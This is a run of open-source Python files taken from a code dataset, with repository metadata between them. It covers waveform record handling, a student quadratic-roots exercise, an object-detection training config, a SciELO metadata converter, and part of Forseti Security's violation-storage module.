maptids=False): hdr, waveforms = self._get_record_raw(rid) if maptids and tid is not None: try: tid = self.element2tx(tid) except TypeError: tid = [self.element2tx(t) for t in tid] try: tcidx = self.tx2row(tid) singletx = True except TypeError: singletx = False if tid is None: tcidx = list(range(self.ntx)) else: tcidx = [self.tx2row(t) for t in tid] if window is None: if dtype is None: return hdr, waveforms[tcidx,:] else: if dtype == 0: dtype = waveforms.dtype return hdr, waveforms[tcidx,:].astype(dtype, copy=True) from .sigtools import Window window = Window(window) if dtype is None or dtype == 0: dtype = waveforms.dtype oshape = (1 if singletx else len(tcidx), window.length) output = np.zeros(oshape, dtype=dtype) try: from pycwp.cutil import overlap ostart, istart, wlen = overlap(window, hdr.win) oend, iend = ostart + wlen, istart + wlen output[:,ostart:oend] = waveforms[tcidx,istart:iend] except TypeError: pass if singletx: output = output[0] return hdr.copy(win=window), output def getwaveform(self, rid, tid, *args, cyclic=False, **kwargs): from .sigtools import Waveform hdr, wform = self.getrecord(rid, tid, *args, **kwargs) if np.ndim(wform) == 1: wave = Waveform(self.nsamp, wform, hdr.win.start) wave = wave.shift(self.f2c, cyclic=cyclic) return wave else: warr = [ ] for w in wform: wave = Waveform(self.nsamp, w, hdr.win.start) wave = wave.shift(self.f2c, cyclic=cyclic) warr.append(wave) return warr def delrecord(self, rid): del self._records[strict_nonnegative_int(rid)] def clearall(self): self._records = OrderedDict() def setrecord(self, hdr, waveforms=None, copy=True): hdr = RxChannelHeader(*hdr) if self.txgrps is not None: if hdr.txgrp is None: try: txgrp = self.element2tx(hdr.idx, unfold=False) except (KeyError, TypeError): raise ValueError('Record is missing required txgrp configuration') else: hdr = hdr.copy(txgrp=txgrp) elif hdr.txgrp.grp >= self.txgrps.count: raise ValueError('Record group number too large') elif hdr.txgrp.idx >= self.txgrps.size: raise ValueError('Record local index too large') else: try: rgrp = self.groupmap[hdr.idx] except (TypeError, KeyError): pass else: if rgrp != hdr.txgrp: raise ValueError('Record txgrp does not match groupmap') elif hdr.txgrp is not None: raise ValueError('Record contains inappropriate txgrp configuration') if hdr.win.end > self.nsamp: raise ValueError('Waveform sample window exceeds acquisition window duration') if waveforms is None: wshape = (self.ntx, hdr.win.length) waveforms = np.zeros(wshape, dtype=self.dtype) else: try: if copy or waveforms.dtype != self.dtype: raise TypeError('Conversion of dtypes required') except (AttributeError, TypeError): waveforms = np.array(waveforms, dtype=self.dtype) if waveforms.ndim < 2: waveforms = waveforms[[None] * (2 - waveforms.ndim)] ntx, nsamp = waveforms.shape if ntx != self.ntx: raise ValueError('Waveform array does not match transmission count for set') if nsamp != hdr.win.length: raise ValueError('Waveform array does not match sample count specified in header') self._records[hdr.idx] = (hdr, waveforms) def allrecords(self, *args, **kwargs): for rid in sorted(self.rxidx): yield self.getrecord(rid, *args, **kwargs) def allheaders(self): for rid in sorted(self.rxidx): yield self.getheader(rid)

true

f7f36e815274af15754e557d4445793d2af7b368

1,140

py

Python

Labs/lab3/l3e4.py

felixchiasson/ITI1520

4208904bf7576433313524ebd1c1bdb9f49277f2

[ "MIT" ]

null

Labs/lab3/l3e4.py

felixchiasson/ITI1520

4208904bf7576433313524ebd1c1bdb9f49277f2

[ "MIT" ]

null

Labs/lab3/l3e4.py

felixchiasson/ITI1520

4208904bf7576433313524ebd1c1bdb9f49277f2

[ "MIT" ]

null

#! /usr/bin/env python3 ############################################################################### # File Name : l3e4.py # Created By : Félix Chiasson (7138723) # Creation Date : [2015-09-29 12:19] # Last Modified : [2015-09-29 14:28] # Description : Détermine le nombre de racine réelles pour # une equation ############################################################################### def nbRacines(a, b, c): discriminant = b**2 - 4*a*c discriminant = round(discriminant) if discriminant == 0: racines = 1 elif discriminant > 0: racines = 2 else: racines = 0 return racines a = float(input('Entrez la valeur de a: ')) b = float(input('Entrez la valeur de b: ')) c = float(input('Entrez la valeur de c: ')) resultat = nbRacines(a, b, c) if resultat == 1: print("Il y a une racine réelle (deux identiques)") elif resultat == 2: print("Il y a deux racines distinctes") elif resultat == 0: print("Il n'y a pas de racines réelles") else: print("I don't know")

32.571429

79

0.486842

true

f7f36fbfefe9479984def8c8b40544a930ddf402

4,424

py

Python

local_configs/share/gfl_r50_SyncBN_4x.py

SunshineOnLeft/share

cca0f32fbedb935e5a338ddfcb2694701049f907

[ "Apache-2.0" ]

1

2020-04-28T11:42:04.000Z

local_configs/share/gfl_r50_SyncBN_4x.py

SunshineOnLeft/mmdetection

cca0f32fbedb935e5a338ddfcb2694701049f907

[ "Apache-2.0" ]

null

local_configs/share/gfl_r50_SyncBN_4x.py

SunshineOnLeft/mmdetection

cca0f32fbedb935e5a338ddfcb2694701049f907

[ "Apache-2.0" ]

null

# model settings model = dict( type='GFL', pretrained='torchvision://resnet50', backbone=dict( type='ResNet', depth=50, num_stages=4, out_indices=(0, 1, 2, 3), frozen_stages=1, norm_cfg=dict(type='BN', requires_grad=True), norm_eval=True, style='pytorch'), neck=dict( type='FPN', in_channels=[256, 512, 1024, 2048], out_channels=256, start_level=1, add_extra_convs='on_output', num_outs=5), bbox_head=dict( type='GFLHead', norm_cfg=dict(type='SyncBN', requires_grad=True), num_classes=80, in_channels=256, stacked_convs=4, feat_channels=256, anchor_generator=dict( type='AnchorGenerator', ratios=[1.0], octave_base_scale=8, scales_per_octave=1, strides=[8, 16, 32, 64, 128]), loss_cls=dict( type='QualityFocalLoss', use_sigmoid=True, beta=2.0, loss_weight=1.0), loss_dfl=dict(type='DistributionFocalLoss', loss_weight=0.25), reg_max=16, loss_bbox=dict(type='GIoULoss', loss_weight=2.0))) # training and testing settings train_cfg = dict( assigner=dict(type='ATSSAssigner', topk=9), allowed_border=-1, pos_weight=-1, debug=False) test_cfg = dict( nms_pre=1000, min_bbox_size=0, score_thr=0.05, nms=dict(type='nms', iou_threshold=0.6), max_per_img=100) # dataset settings dataset_type = 'CocoDataset' data_root = '/share2/public/xldetection/coco/' # multi-scale training img_norm_cfg = dict( mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True) train_pipeline = [ dict(type='LoadImageFromFile', to_float32=True), dict(type='LoadAnnotations', with_bbox=True), dict(type='PhotoMetricDistortion'), # dict( # type='Resize', # img_scale=(1333, 800), # ratio_range=[0.5, 1.5], # keep_ratio=True), dict( type='RandomCrop', crop_size=[0.7, 0.7], crop_type='relative_range'), dict( type='Resize', img_scale=[(1333, 400), (1333, 1200)], multiscale_mode='range', keep_ratio=True), # dict( # type='Resize', # img_scale=[(1333, 480), (1333, 900)], # multiscale_mode='range', # keep_ratio=True, # override=True), dict(type='RandomFlip', flip_ratio=0.5), dict(type='Normalize', **img_norm_cfg), dict(type='Pad', size_divisor=32), dict(type='DefaultFormatBundle'), dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels']), ] test_pipeline = [ dict(type='LoadImageFromFile'), dict( type='MultiScaleFlipAug', img_scale=(1333, 800), flip=False, transforms=[ dict(type='Resize', keep_ratio=True), dict(type='RandomFlip'), dict(type='Normalize', **img_norm_cfg), dict(type='Pad', size_divisor=32), dict(type='ImageToTensor', keys=['img']), dict(type='Collect', keys=['img']), ]) ] data = dict( samples_per_gpu=2, workers_per_gpu=2, train=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_train2017.json', img_prefix=data_root + 'train2017/', pipeline=train_pipeline), val=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_val2017.json', img_prefix=data_root + 'val2017/', pipeline=test_pipeline), test=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_val2017.json', img_prefix=data_root + 'val2017/', pipeline=test_pipeline)) evaluation = dict(interval=1, metric='bbox') # optimizer optimizer = dict(type='SGD', lr=0.01, momentum=0.9, weight_decay=0.0001) optimizer_config = dict(grad_clip=None) # learning policy lr_config = dict( policy='step', warmup='linear', warmup_iters=500, warmup_ratio=0.001, step=[32, 44]) total_epochs = 48 checkpoint_config = dict(interval=4) # yapf:disable log_config = dict( interval=50, hooks=[ dict(type='TextLoggerHook'), # dict(type='TensorboardLoggerHook') ]) # yapf:enable dist_params = dict(backend='nccl') log_level = 'INFO' load_from = None resume_from = None workflow = [('train', 1)]

27.823899

77

0.600588

model = dict( type='GFL', pretrained='torchvision://resnet50', backbone=dict( type='ResNet', depth=50, num_stages=4, out_indices=(0, 1, 2, 3), frozen_stages=1, norm_cfg=dict(type='BN', requires_grad=True), norm_eval=True, style='pytorch'), neck=dict( type='FPN', in_channels=[256, 512, 1024, 2048], out_channels=256, start_level=1, add_extra_convs='on_output', num_outs=5), bbox_head=dict( type='GFLHead', norm_cfg=dict(type='SyncBN', requires_grad=True), num_classes=80, in_channels=256, stacked_convs=4, feat_channels=256, anchor_generator=dict( type='AnchorGenerator', ratios=[1.0], octave_base_scale=8, scales_per_octave=1, strides=[8, 16, 32, 64, 128]), loss_cls=dict( type='QualityFocalLoss', use_sigmoid=True, beta=2.0, loss_weight=1.0), loss_dfl=dict(type='DistributionFocalLoss', loss_weight=0.25), reg_max=16, loss_bbox=dict(type='GIoULoss', loss_weight=2.0))) train_cfg = dict( assigner=dict(type='ATSSAssigner', topk=9), allowed_border=-1, pos_weight=-1, debug=False) test_cfg = dict( nms_pre=1000, min_bbox_size=0, score_thr=0.05, nms=dict(type='nms', iou_threshold=0.6), max_per_img=100) dataset_type = 'CocoDataset' data_root = '/share2/public/xldetection/coco/' img_norm_cfg = dict( mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True) train_pipeline = [ dict(type='LoadImageFromFile', to_float32=True), dict(type='LoadAnnotations', with_bbox=True), dict(type='PhotoMetricDistortion'), dict( type='RandomCrop', crop_size=[0.7, 0.7], crop_type='relative_range'), dict( type='Resize', img_scale=[(1333, 400), (1333, 1200)], multiscale_mode='range', keep_ratio=True), dict(type='RandomFlip', flip_ratio=0.5), dict(type='Normalize', **img_norm_cfg), dict(type='Pad', size_divisor=32), dict(type='DefaultFormatBundle'), dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels']), ] test_pipeline = [ dict(type='LoadImageFromFile'), dict( type='MultiScaleFlipAug', img_scale=(1333, 800), flip=False, transforms=[ dict(type='Resize', keep_ratio=True), dict(type='RandomFlip'), dict(type='Normalize', **img_norm_cfg), dict(type='Pad', size_divisor=32), dict(type='ImageToTensor', keys=['img']), dict(type='Collect', keys=['img']), ]) ] data = dict( samples_per_gpu=2, workers_per_gpu=2, train=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_train2017.json', img_prefix=data_root + 'train2017/', pipeline=train_pipeline), val=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_val2017.json', img_prefix=data_root + 'val2017/', pipeline=test_pipeline), test=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_val2017.json', img_prefix=data_root + 'val2017/', pipeline=test_pipeline)) evaluation = dict(interval=1, metric='bbox') optimizer = dict(type='SGD', lr=0.01, momentum=0.9, weight_decay=0.0001) optimizer_config = dict(grad_clip=None) lr_config = dict( policy='step', warmup='linear', warmup_iters=500, warmup_ratio=0.001, step=[32, 44]) total_epochs = 48 checkpoint_config = dict(interval=4) log_config = dict( interval=50, hooks=[ dict(type='TextLoggerHook'), ]) dist_params = dict(backend='nccl') log_level = 'INFO' load_from = None resume_from = None workflow = [('train', 1)]

true

f7f3713d8e21b003b4dc406f37eadf5be5e080e3

7,933

py

Python

documentstore_migracao/utils/xylose_converter.py

joffilyfe/document-store-migracao

b5125b7aedec56f0e8787900bdfd124aaf65e3e3

[ "BSD-2-Clause" ]

null

documentstore_migracao/utils/xylose_converter.py

joffilyfe/document-store-migracao

b5125b7aedec56f0e8787900bdfd124aaf65e3e3

[ "BSD-2-Clause" ]

14

2019-03-13T12:19:12.000Z

2019-03-19T17:37:08.000Z

documentstore_migracao/utils/xylose_converter.py

joffilyfe/document-store-migracao

b5125b7aedec56f0e8787900bdfd124aaf65e3e3

[ "BSD-2-Clause" ]

3

2019-03-12T18:55:55.000Z

2019-03-20T18:38:02.000Z

import logging from typing import List from datetime import datetime from documentstore_migracao.utils import scielo_ids_generator from xylose.scielodocument import Journal, Issue logger = logging.getLogger(__name__) def date_to_datetime(date: str) -> datetime: """Transforma datas no formato ISO em objetos datetime""" return datetime.strptime(date, "%Y-%m-%dT%H:%M:%S.%fZ") def parse_date(date: str) -> str: """Traduz datas em formato simples ano-mes-dia, ano-mes para o formato iso utilizado durantr a persistência do Kernel""" _date = None try: _date = ( datetime.strptime(date, "%Y-%m-%d").isoformat(timespec="microseconds") + "Z" ) except ValueError: try: _date = ( datetime.strptime(date, "%Y-%m").isoformat(timespec="microseconds") + "Z" ) except ValueError: _date = ( datetime.strptime(date, "%Y").isoformat(timespec="microseconds") + "Z" ) return _date def set_metadata(date: str, data: any) -> List[List]: """Retorna a estrutura básica de um `campo` de metadata no formato do Kernel""" return [[date, data]] def journal_to_kernel(journal): """Transforma um objeto Journal (xylose) para o formato de dados equivalente ao persistido pelo Kernel em um banco mongodb""" # TODO: Virá algo do xylose para popular o campo de métricas? _id = journal.scielo_issn if not _id: raise ValueError("É preciso que o periódico possua um id") _creation_date = parse_date(journal.creation_date) _metadata = {} _bundle = { "_id": _id, "id": _id, "created": _creation_date, "updated": _creation_date, "items": [], "metadata": _metadata, } if journal.mission: _mission = [ {"language": lang, "value": value} for lang, value in journal.mission.items() ] _metadata["mission"] = set_metadata(_creation_date, _mission) if journal.title: _metadata["title"] = set_metadata(_creation_date, journal.title) if journal.abbreviated_iso_title: _metadata["title_iso"] = set_metadata( _creation_date, journal.abbreviated_iso_title ) if journal.abbreviated_title: _metadata["short_title"] = set_metadata( _creation_date, journal.abbreviated_title ) _metadata["acronym"] = set_metadata(_creation_date, journal.acronym) if journal.scielo_issn: _metadata["scielo_issn"] = set_metadata(_creation_date, journal.scielo_issn) if journal.print_issn: _metadata["print_issn"] = set_metadata(_creation_date, journal.print_issn) if journal.electronic_issn: _metadata["electronic_issn"] = set_metadata( _creation_date, journal.electronic_issn ) if journal.status_history: _metadata["status"] = [] for status in journal.status_history: _status = {"status": status[1]} if status[2]: _status["reason"] = status[2] # TODO: Temos que verificar se as datas são autoritativas _metadata["status"].append([parse_date(status[0]), _status]) if journal.subject_areas: _metadata["subject_areas"] = set_metadata( _creation_date, [area.upper() for area in journal.subject_areas] ) if journal.sponsors: _sponsors = [{"name": sponsor} for sponsor in journal.sponsors] _metadata["sponsors"] = set_metadata(_creation_date, _sponsors) if journal.wos_subject_areas: _metadata["subject_categories"] = set_metadata( _creation_date, journal.wos_subject_areas ) if journal.submission_url: _metadata["online_submission_url"] = set_metadata( _creation_date, journal.submission_url ) if journal.next_title: _next_journal = {"name": journal.next_title} _metadata["next_journal"] = set_metadata(_creation_date, _next_journal) if journal.previous_title: _previous_journal = {"name": journal.previous_title} _metadata["previous_journal"] = set_metadata(_creation_date, _previous_journal) _contact = {} if journal.editor_email: _contact["email"] = journal.editor_email if journal.editor_address: _contact["address"] = journal.editor_address if _contact: _metadata["contact"] = set_metadata(_creation_date, _contact) return _bundle def get_journal_issn_in_issue(issue) -> str: """Retorna o ISSN ID de um periódico na perspectiva da issue""" return issue.data.get("issue").get("v35")[0]["_"] def issue_to_kernel(issue): """Transforma um objeto Issue (xylose) para o formato de dados equivalente ao persistido pelo Kernel em um banco mongodb""" issn_id = issue.data["issue"]["v35"][0]["_"] _creation_date = parse_date(issue.publication_date) _metadata = {} _bundle = { "created": _creation_date, "updated": _creation_date, "items": [], "metadata": _metadata, } _year = str(date_to_datetime(_creation_date).year) _month = str(date_to_datetime(_creation_date).month) _metadata["publication_year"] = set_metadata(_creation_date, _year) if issue.volume: _metadata["volume"] = set_metadata(_creation_date, issue.volume) if issue.number: _metadata["number"] = set_metadata(_creation_date, issue.number) _supplement = None if issue.type is "supplement": _supplement = "0" if issue.supplement_volume: _supplement = issue.supplement_volume elif issue.supplement_number: _supplement = issue.supplement_number _metadata["supplement"] = set_metadata(_creation_date, _supplement) if issue.titles: _titles = [ {"language": lang, "value": value} for lang, value in issue.titles.items() ] _metadata["titles"] = set_metadata(_creation_date, _titles) publication_months = {} if issue.start_month and issue.end_month: publication_months["range"] = (int(issue.start_month), int(issue.end_month)) elif _month: publication_months["month"] = int(_month) _metadata["publication_months"] = set_metadata(_creation_date, publication_months) _id = scielo_ids_generator.issue_id( issn_id, _year, issue.volume, issue.number, _supplement ) _bundle["_id"] = _id _bundle["id"] = _id return _bundle def get_journal_issns_from_issue(issue: Issue) -> List[str]: """Busca por todos os issns de periódico disponíveis em uma issue. Os ISSNs podem estar nos dois campos v35 e v435 com ou sem repetição""" issns = [get_journal_issn_in_issue(issue)] if not "v435" in issue.data["issue"]: return issns issns.extend([issn["_"] for issn in issue.data["issue"]["v435"]]) return list(set(issns)) def find_documents_bundles(journal: dict, issues: List[Issue]): """Busca o id de todos os fascículos associados ao periódico. Um id é encontrado quando pelo menos um ISSN relacionado ao fascículo também está presente no periódico. """ issues_ids = [] journal_issns = [] journal_issn_fields = ["electronic_issn", "print_issn", "scielo_issn"] _metadata = journal["metadata"] for field in journal_issn_fields: try: journal_issns.append(_metadata[field][0][-1]) except (KeyError, IndexError): pass journal_issns = list(set(journal_issns)) for issue in issues: issue_issns = get_journal_issns_from_issue(issue) has_matched_issns = list( filter(lambda issn: issn in journal_issns, issue_issns) ) if has_matched_issns: issues_ids.append(issue_to_kernel(issue).get("id")) return issues_ids

30.163498

88

0.651708

import logging from typing import List from datetime import datetime from documentstore_migracao.utils import scielo_ids_generator from xylose.scielodocument import Journal, Issue logger = logging.getLogger(__name__) def date_to_datetime(date: str) -> datetime: return datetime.strptime(date, "%Y-%m-%dT%H:%M:%S.%fZ") def parse_date(date: str) -> str: _date = None try: _date = ( datetime.strptime(date, "%Y-%m-%d").isoformat(timespec="microseconds") + "Z" ) except ValueError: try: _date = ( datetime.strptime(date, "%Y-%m").isoformat(timespec="microseconds") + "Z" ) except ValueError: _date = ( datetime.strptime(date, "%Y").isoformat(timespec="microseconds") + "Z" ) return _date def set_metadata(date: str, data: any) -> List[List]: return [[date, data]] def journal_to_kernel(journal): _id = journal.scielo_issn if not _id: raise ValueError("É preciso que o periódico possua um id") _creation_date = parse_date(journal.creation_date) _metadata = {} _bundle = { "_id": _id, "id": _id, "created": _creation_date, "updated": _creation_date, "items": [], "metadata": _metadata, } if journal.mission: _mission = [ {"language": lang, "value": value} for lang, value in journal.mission.items() ] _metadata["mission"] = set_metadata(_creation_date, _mission) if journal.title: _metadata["title"] = set_metadata(_creation_date, journal.title) if journal.abbreviated_iso_title: _metadata["title_iso"] = set_metadata( _creation_date, journal.abbreviated_iso_title ) if journal.abbreviated_title: _metadata["short_title"] = set_metadata( _creation_date, journal.abbreviated_title ) _metadata["acronym"] = set_metadata(_creation_date, journal.acronym) if journal.scielo_issn: _metadata["scielo_issn"] = set_metadata(_creation_date, journal.scielo_issn) if journal.print_issn: _metadata["print_issn"] = set_metadata(_creation_date, journal.print_issn) if journal.electronic_issn: _metadata["electronic_issn"] = set_metadata( _creation_date, journal.electronic_issn ) if journal.status_history: _metadata["status"] = [] for status in journal.status_history: _status = {"status": status[1]} if status[2]: _status["reason"] = status[2] _metadata["status"].append([parse_date(status[0]), _status]) if journal.subject_areas: _metadata["subject_areas"] = set_metadata( _creation_date, [area.upper() for area in journal.subject_areas] ) if journal.sponsors: _sponsors = [{"name": sponsor} for sponsor in journal.sponsors] _metadata["sponsors"] = set_metadata(_creation_date, _sponsors) if journal.wos_subject_areas: _metadata["subject_categories"] = set_metadata( _creation_date, journal.wos_subject_areas ) if journal.submission_url: _metadata["online_submission_url"] = set_metadata( _creation_date, journal.submission_url ) if journal.next_title: _next_journal = {"name": journal.next_title} _metadata["next_journal"] = set_metadata(_creation_date, _next_journal) if journal.previous_title: _previous_journal = {"name": journal.previous_title} _metadata["previous_journal"] = set_metadata(_creation_date, _previous_journal) _contact = {} if journal.editor_email: _contact["email"] = journal.editor_email if journal.editor_address: _contact["address"] = journal.editor_address if _contact: _metadata["contact"] = set_metadata(_creation_date, _contact) return _bundle def get_journal_issn_in_issue(issue) -> str: return issue.data.get("issue").get("v35")[0]["_"] def issue_to_kernel(issue): issn_id = issue.data["issue"]["v35"][0]["_"] _creation_date = parse_date(issue.publication_date) _metadata = {} _bundle = { "created": _creation_date, "updated": _creation_date, "items": [], "metadata": _metadata, } _year = str(date_to_datetime(_creation_date).year) _month = str(date_to_datetime(_creation_date).month) _metadata["publication_year"] = set_metadata(_creation_date, _year) if issue.volume: _metadata["volume"] = set_metadata(_creation_date, issue.volume) if issue.number: _metadata["number"] = set_metadata(_creation_date, issue.number) _supplement = None if issue.type is "supplement": _supplement = "0" if issue.supplement_volume: _supplement = issue.supplement_volume elif issue.supplement_number: _supplement = issue.supplement_number _metadata["supplement"] = set_metadata(_creation_date, _supplement) if issue.titles: _titles = [ {"language": lang, "value": value} for lang, value in issue.titles.items() ] _metadata["titles"] = set_metadata(_creation_date, _titles) publication_months = {} if issue.start_month and issue.end_month: publication_months["range"] = (int(issue.start_month), int(issue.end_month)) elif _month: publication_months["month"] = int(_month) _metadata["publication_months"] = set_metadata(_creation_date, publication_months) _id = scielo_ids_generator.issue_id( issn_id, _year, issue.volume, issue.number, _supplement ) _bundle["_id"] = _id _bundle["id"] = _id return _bundle def get_journal_issns_from_issue(issue: Issue) -> List[str]: issns = [get_journal_issn_in_issue(issue)] if not "v435" in issue.data["issue"]: return issns issns.extend([issn["_"] for issn in issue.data["issue"]["v435"]]) return list(set(issns)) def find_documents_bundles(journal: dict, issues: List[Issue]): issues_ids = [] journal_issns = [] journal_issn_fields = ["electronic_issn", "print_issn", "scielo_issn"] _metadata = journal["metadata"] for field in journal_issn_fields: try: journal_issns.append(_metadata[field][0][-1]) except (KeyError, IndexError): pass journal_issns = list(set(journal_issns)) for issue in issues: issue_issns = get_journal_issns_from_issue(issue) has_matched_issns = list( filter(lambda issn: issn in journal_issns, issue_issns) ) if has_matched_issns: issues_ids.append(issue_to_kernel(issue).get("id")) return issues_ids

true

f7f371e7d2960b5b76a56b9e38002e05c34642a7

14,205

py

Python

google/cloud/forseti/services/scanner/dao.py

darrellkuhn/forseti-security

b54faf68d869842e8a43472ff980e28e2ce8d3c6

[ "Apache-2.0" ]

null

google/cloud/forseti/services/scanner/dao.py

darrellkuhn/forseti-security

b54faf68d869842e8a43472ff980e28e2ce8d3c6

[ "Apache-2.0" ]

1

2020-11-10T22:15:54.000Z

google/cloud/forseti/services/scanner/dao.py

darrellkuhn/forseti-security

b54faf68d869842e8a43472ff980e28e2ce8d3c6

[ "Apache-2.0" ]

null

# Copyright 2017 The Forseti Security Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Database access objects for Forseti Scanner. """ from builtins import object from collections import defaultdict import hashlib import json from sqlalchemy import BigInteger from sqlalchemy import Column from sqlalchemy import DateTime from sqlalchemy import Integer from sqlalchemy import String from sqlalchemy import Text from sqlalchemy import and_ from sqlalchemy import inspect from sqlalchemy.ext.declarative import declarative_base from google.cloud.forseti.common.data_access import violation_map as vm from google.cloud.forseti.common.util import date_time from google.cloud.forseti.common.util import logger from google.cloud.forseti.common.util.index_state import IndexState LOGGER = logger.get_logger(__name__) BASE = declarative_base() CURRENT_SCHEMA = 1 SUCCESS_STATES = [IndexState.SUCCESS, IndexState.PARTIAL_SUCCESS] class ScannerIndex(BASE): """Represents a scanner run.""" __tablename__ = 'scanner_index' id = Column(BigInteger, primary_key=True) inventory_index_id = Column(BigInteger) created_at_datetime = Column(DateTime()) completed_at_datetime = Column(DateTime()) scanner_status = Column(Text()) schema_version = Column(Integer()) scanner_index_warnings = Column(Text(16777215)) scanner_index_errors = Column(Text()) message = Column(Text()) def __repr__(self): """Object string representation. Returns: str: String representation of the object. """ return """<{}(id='{}', version='{}', timestamp='{}')>""".format( self.__class__.__name__, self.id, self.schema_version, self.created_at_datetime) @classmethod def create(cls, inv_index_id): """Create a new scanner index row. Args: inv_index_id (str): Id of the inventory index. Returns: object: ScannerIndex row object. """ utc_now = date_time.get_utc_now_datetime() micro_timestamp = date_time.get_utc_now_microtimestamp(utc_now) return ScannerIndex( id=micro_timestamp, inventory_index_id=inv_index_id, created_at_datetime=utc_now, scanner_status=IndexState.CREATED, schema_version=CURRENT_SCHEMA) def complete(self, status=IndexState.SUCCESS): """Mark the scanner as completed with a final scanner_status. Args: status (str): Final scanner_status. """ self.completed_at_datetime = date_time.get_utc_now_datetime() self.scanner_status = status def add_warning(self, session, warning): """Add a warning to the scanner. Args: session (object): session object to work on. warning (str): Warning message """ warning_message = '{}\n'.format(warning) if not self.scanner_index_warnings: self.scanner_index_warnings = warning_message else: self.scanner_index_warnings += warning_message session.add(self) session.flush() def set_error(self, session, message): """Indicate a broken scanner run. Args: session (object): session object to work on. message (str): Error message to set. """ self.scanner_index_errors = message session.add(self) session.flush() def get_latest_scanner_index_id(session, inv_index_id, index_state=None): """Return last `ScannerIndex` row with the given state or `None`. Either return the latest `ScannerIndex` row where the `scanner_status` matches the given `index_state` parameter (if passed) or the latest row that represents a (partially) successful scanner run. Args: session (object): session object to work on. inv_index_id (str): Id of the inventory index. index_state (str): we want the latest `ScannerIndex` with this state Returns: sqlalchemy_object: the latest `ScannerIndex` row or `None` """ scanner_index = None if not index_state: scanner_index = ( session.query(ScannerIndex) .filter(and_( ScannerIndex.scanner_status.in_(SUCCESS_STATES), ScannerIndex.inventory_index_id == inv_index_id)) .order_by(ScannerIndex.id.desc()).first()) else: scanner_index = ( session.query(ScannerIndex) .filter(and_( ScannerIndex.scanner_status == index_state, ScannerIndex.inventory_index_id == inv_index_id)) .order_by(ScannerIndex.created_at_datetime.desc()).first()) return scanner_index.id if scanner_index else None class Violation(BASE): """Row entry for a violation.""" __tablename__ = 'violations' id = Column(Integer, primary_key=True) created_at_datetime = Column(DateTime()) full_name = Column(String(1024)) resource_data = Column(Text(16777215)) resource_name = Column(String(256), default='') resource_id = Column(String(256), nullable=False) resource_type = Column(String(256), nullable=False) rule_index = Column(Integer, default=0) rule_name = Column(String(256)) scanner_index_id = Column(BigInteger) violation_data = Column(Text(16777215)) violation_hash = Column(String(256)) violation_message = Column(Text) violation_type = Column(String(256), nullable=False) def __repr__(self): """String representation. Returns: str: string representation of the Violation row entry. """ string = ('<Violation(violation_type={}, resource_type={} ' 'rule_name={})>') return string.format( self.violation_type, self.resource_type, self.rule_name) @staticmethod def get_schema_update_actions(): """Maintain all the schema changes for this table. Returns: dict: A mapping of Action: Column. """ columns_to_create = [Column('resource_name', String(256), default=''), Column('violation_message', Text(), default='')] columns_to_update = { Column('violation_data', Text()): Column('violation_data', Text(16777215))} schema_update_actions = {'CREATE': columns_to_create, 'ALTER': columns_to_update} return schema_update_actions class ViolationAccess(object): """Facade for violations, implement APIs against violations table.""" def __init__(self, session): """Constructor for the Violation Access. Args: session (Session): SQLAlchemy session object. """ self.session = session def create(self, violations, scanner_index_id): """Save violations to the db table. Args: violations (list): A list of violations. scanner_index_id (int): id of the `ScannerIndex` row for this scanner run. """ created_at_datetime = date_time.get_utc_now_datetime() for violation in violations: violation_hash = _create_violation_hash( violation.get('full_name', ''), violation.get('resource_data', ''), violation.get('violation_data', ''), ) violation = Violation( created_at_datetime=created_at_datetime, full_name=violation.get('full_name'), resource_data=violation.get('resource_data'), resource_name=violation.get('resource_name'), resource_id=violation.get('resource_id'), resource_type=violation.get('resource_type'), rule_index=violation.get('rule_index'), rule_name=violation.get('rule_name'), scanner_index_id=scanner_index_id, violation_data=json.dumps( violation.get('violation_data'), sort_keys=True), violation_hash=violation_hash, violation_message=violation.get('violation_message', ''), violation_type=violation.get('violation_type') ) self.session.add(violation) def list(self, inv_index_id=None, scanner_index_id=None): """List all violations from the db table. If * neither index is passed we return all violations. * the `inv_index_id` is passed the violations from all scanner runs for that inventory index will be returned. * the `scanner_index_id` is passed the violations from that specific scanner run will be returned. NOTA BENE: do *NOT* call this method with both indices! Args: inv_index_id (str): Id of the inventory index. scanner_index_id (int): Id of the scanner index. Returns: list: List of Violation row entry objects. Raises: ValueError: if called with both the inventory and the scanner index """ if not (inv_index_id or scanner_index_id): return self.session.query(Violation).all() if (inv_index_id and scanner_index_id): raise ValueError( 'Please call list() with the inventory index XOR the scanner ' 'index, not both.') results = [] if inv_index_id: results = ( self.session.query(Violation, ScannerIndex) .filter(and_( ScannerIndex.scanner_status.in_(SUCCESS_STATES), ScannerIndex.inventory_index_id == inv_index_id)) .filter(Violation.scanner_index_id == ScannerIndex.id) .all()) if scanner_index_id: results = ( self.session.query(Violation, ScannerIndex) .filter(and_( ScannerIndex.scanner_status.in_(SUCCESS_STATES), ScannerIndex.id == scanner_index_id)) .filter(Violation.scanner_index_id == ScannerIndex.id) .all()) violations = [] for violation, _ in results: violations.append(violation) return violations # pylint: disable=invalid-name def convert_sqlalchemy_object_to_dict(sqlalchemy_obj): """Convert a sqlalchemy row/record object to a dictionary. Args: sqlalchemy_obj (sqlalchemy_object): A sqlalchemy row/record object Returns: dict: A dict of sqlalchemy object's attributes. """ return {c.key: getattr(sqlalchemy_obj, c.key) for c in inspect(sqlalchemy_obj).mapper.column_attrs} def map_by_resource(violation_rows): """Create a map of violation types to violations of that resource. Args: violation_rows (list): A list of dict of violation data. Returns: dict: A dict of violation types mapped to the list of corresponding violation types, i.e. { resource => [violation_data...] }. """ # The defaultdict makes it easy to add a value to a key without having # to check if the key exists. v_by_type = defaultdict(list) for v_data in violation_rows: 